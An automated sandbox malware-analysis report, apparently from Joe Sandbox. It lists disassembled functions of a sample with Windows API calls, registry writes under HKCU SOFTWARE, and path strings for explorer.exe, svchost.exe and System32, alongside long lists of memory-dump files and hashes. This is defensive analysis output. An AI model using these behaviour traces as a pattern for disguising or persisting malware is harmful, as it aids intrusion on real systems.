Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$CloseFileFreeHandle$AllocCreateWrite_memmove
String ID: .DLL
API String ID: 3658969158-899428287
Opcode ID: 257c22f4bc832d0f61a2c5e7941a2fb6e7588445828ec0c461747606451c9926
Instruction ID: 12f55308d3493916a4b8aace90ee1ba1fbcbe1ca2d496d914f1837616fa2bbab
Opcode Fuzzy Hash: 257c22f4bc832d0f61a2c5e7941a2fb6e7588445828ec0c461747606451c9926
Instruction Fuzzy Hash: 64512C75A10208EBCB26CF58DC88FD9B7B9AB4C300F508599F649A7290CAB0DAD1DF54

Function 002CBB80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002DBC7D), ref: 002CBB8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBBA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBBC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 002CBBDF
__snwprintf.LIBCMT ref: 002CBC0E
LocalFree.KERNEL32(00000000), ref: 002CBC2C
LocalFree.KERNEL32(00000000), ref: 002CBC36
LocalFree.KERNEL32(00000000), ref: 002CBC40
LocalFree.KERNEL32(00000000), ref: 002CBC51
LocalFree.KERNEL32(00000000), ref: 002CBC5B
LocalFree.KERNEL32(00000000), ref: 002CBC65

Strings

%s\explorer.exe, xrefs: 002CBC00

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FileModuleName__snwprintf
String ID: %s\explorer.exe
API String ID: 4103235260-2893622748
Opcode ID: b703675466fc50483ef0db37308d769d0a9a94f27877d8795c9169c4337395e0
Instruction ID: eca12f42e4f4bfd350c616e58db8c9776c17f86860fa0ac5807da285d19e5ee6
Opcode Fuzzy Hash: b703675466fc50483ef0db37308d769d0a9a94f27877d8795c9169c4337395e0
Instruction Fuzzy Hash: 8B215E75A50209FFDB15EFA4CC8AFADBB79AF48701F105569B605B6290CF749A80CB10

Function 002CBC80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002DBCBF), ref: 002CBC8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBCA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBCC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 002CBCDF
__snwprintf.LIBCMT ref: 002CBD0E
LocalFree.KERNEL32(00000000), ref: 002CBD2C
LocalFree.KERNEL32(00000000), ref: 002CBD36
LocalFree.KERNEL32(00000000), ref: 002CBD40
LocalFree.KERNEL32(00000000), ref: 002CBD51
LocalFree.KERNEL32(00000000), ref: 002CBD5B
LocalFree.KERNEL32(00000000), ref: 002CBD65

Strings

%s\svchost.exe, xrefs: 002CBD00

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$FileModuleName__snwprintf
String ID: %s\svchost.exe
API String ID: 4103235260-1955667316
Opcode ID: 57c652bfbaa11cb9c66812621338bf201d1f7c2c042f82cb4242dc840ea892aa
Instruction ID: d2bdd533ca630a3166f4c4a58e98b9229933558935bfe8bb33134a45cca3c6b5
Opcode Fuzzy Hash: 57c652bfbaa11cb9c66812621338bf201d1f7c2c042f82cb4242dc840ea892aa
Instruction Fuzzy Hash: 50216275A50209FBD715EFE4DC8AFADBB79AF48701F104568F601BB290CB749A80CB10

Function 002C9FC0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 74registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C9FF4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002CA00A

Part of subcall function 002DC570: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,002D430B,?,00000000), ref: 002DC58C
Part of subcall function 002DC570: LocalAlloc.KERNELBASE(00000040,000000FF,?,002D430B), ref: 002DC5B6
Part of subcall function 002DC570: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 002DC5D7
Part of subcall function 002DC570: CloseHandle.KERNELBASE(000000FF), ref: 002DC5ED

__snwprintf.LIBCMT ref: 002CA057
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 002CA072
RegSetValueExW.ADVAPI32(?,{30B65D11-E9AA-4938-8C03-D48010908173},00000000,00000003,00000000,00000000), ref: 002CA09A
RegCloseKey.ADVAPI32(?), ref: 002CA0AB
LocalFree.KERNEL32(00000000), ref: 002CA0B8
RegCloseKey.ADVAPI32(?), ref: 002CA0CC
LocalFree.KERNEL32(00000000), ref: 002CA0D9

Strings

SOFTWARE\%s, xrefs: 002CA046
{30B65D11-E9AA-4938-8C03-D48010908173}, xrefs: 002CA08E
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002CA041

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFileLocal$Free$AllocCreateHandleModuleNameOpenReadValue__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${30B65D11-E9AA-4938-8C03-D48010908173}
API String ID: 3188883088-3495461605
Opcode ID: cb19512eb81a6982dc96f61e2c3be3d490963d0dee9721e484cd17090c993b06
Instruction ID: 52218cc212ce6d8603ba3f6d88b0a66c9a39b9187a41402c57b0ed6fd52e91ad
Opcode Fuzzy Hash: cb19512eb81a6982dc96f61e2c3be3d490963d0dee9721e484cd17090c993b06
Instruction Fuzzy Hash: D521D3B5A5031CABD720DB60DC8DFEA7778AB44700F0046D8B61CA6181EBB59E94CFA1

Function 002D3350 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3364
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3385
SHGetKnownFolderPath.SHELL32(002F7C30,00000000,00000000,00000000), ref: 002D33AC
__snwprintf.LIBCMT ref: 002D33E4
__snwprintf.LIBCMT ref: 002D33FE
LocalFree.KERNEL32(00000000), ref: 002D340A
CoTaskMemFree.COMBASE(00000000), ref: 002D3414
CoTaskMemFree.COMBASE(00000000), ref: 002D3423
LocalFree.KERNEL32(00000000), ref: 002D342D
LocalFree.KERNEL32(00000000), ref: 002D3437

Strings

\\?\%s , xrefs: 002D33D6
%s\System32, xrefs: 002D33F0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask__snwprintf$FolderKnownPath
String ID: %s\System32$\\?\%s
API String ID: 2912309175-2868705786
Opcode ID: 1c64a8aa00c126898ded9b38f85644de2f38bcde4170b304efe16302dcb87001
Instruction ID: ba9adc57e2cefb624bb91c8b8a33407e197f2d205367df938228b9801496d50c
Opcode Fuzzy Hash: 1c64a8aa00c126898ded9b38f85644de2f38bcde4170b304efe16302dcb87001
Instruction Fuzzy Hash: 8E217FB5E50208FBDB04EFE4DC89BAEBB79AF48700F508599F601A7280DBB45A50CB50

Function 002C8A80 Relevance: 19.7, APIs: 13, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002D0010: SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,002D6B10,00331178,002D6B10), ref: 002D0023
Part of subcall function 002D0010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D0034
Part of subcall function 002D0010: wnsprintfW.SHLWAPI ref: 002D005F
Part of subcall function 002D0010: CoTaskMemFree.COMBASE(?), ref: 002D007F

Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B,002D6B10,00000000), ref: 002C81EB
Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B), ref: 002C8205
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8235
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8251
Part of subcall function 002C81C0: LocalFree.KERNEL32(00000000), ref: 002C8A43

LocalFree.KERNEL32(00000000), ref: 002C8AE0
LocalFree.KERNEL32(00000000), ref: 002C8AF0
LocalAlloc.KERNEL32(00000040,00030010), ref: 002C8B3B
LocalAlloc.KERNEL32(00000040,00008AD0), ref: 002C8B55
_memmove.LIBCMT ref: 002C8B76
LocalFree.KERNEL32(00000000), ref: 002C8C32
LocalFree.KERNEL32(00000000), ref: 002C8C3C
LocalFree.KERNEL32(00000000), ref: 002C8C46
LocalFree.KERNEL32(00000000), ref: 002C8C57
LocalFree.KERNEL32(00000000), ref: 002C8C61
LocalFree.KERNEL32(00000000), ref: 002C8CA2
LocalFree.KERNEL32(00000000), ref: 002C8CAC
LocalFree.KERNEL32(00000000), ref: 002C8CB6

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
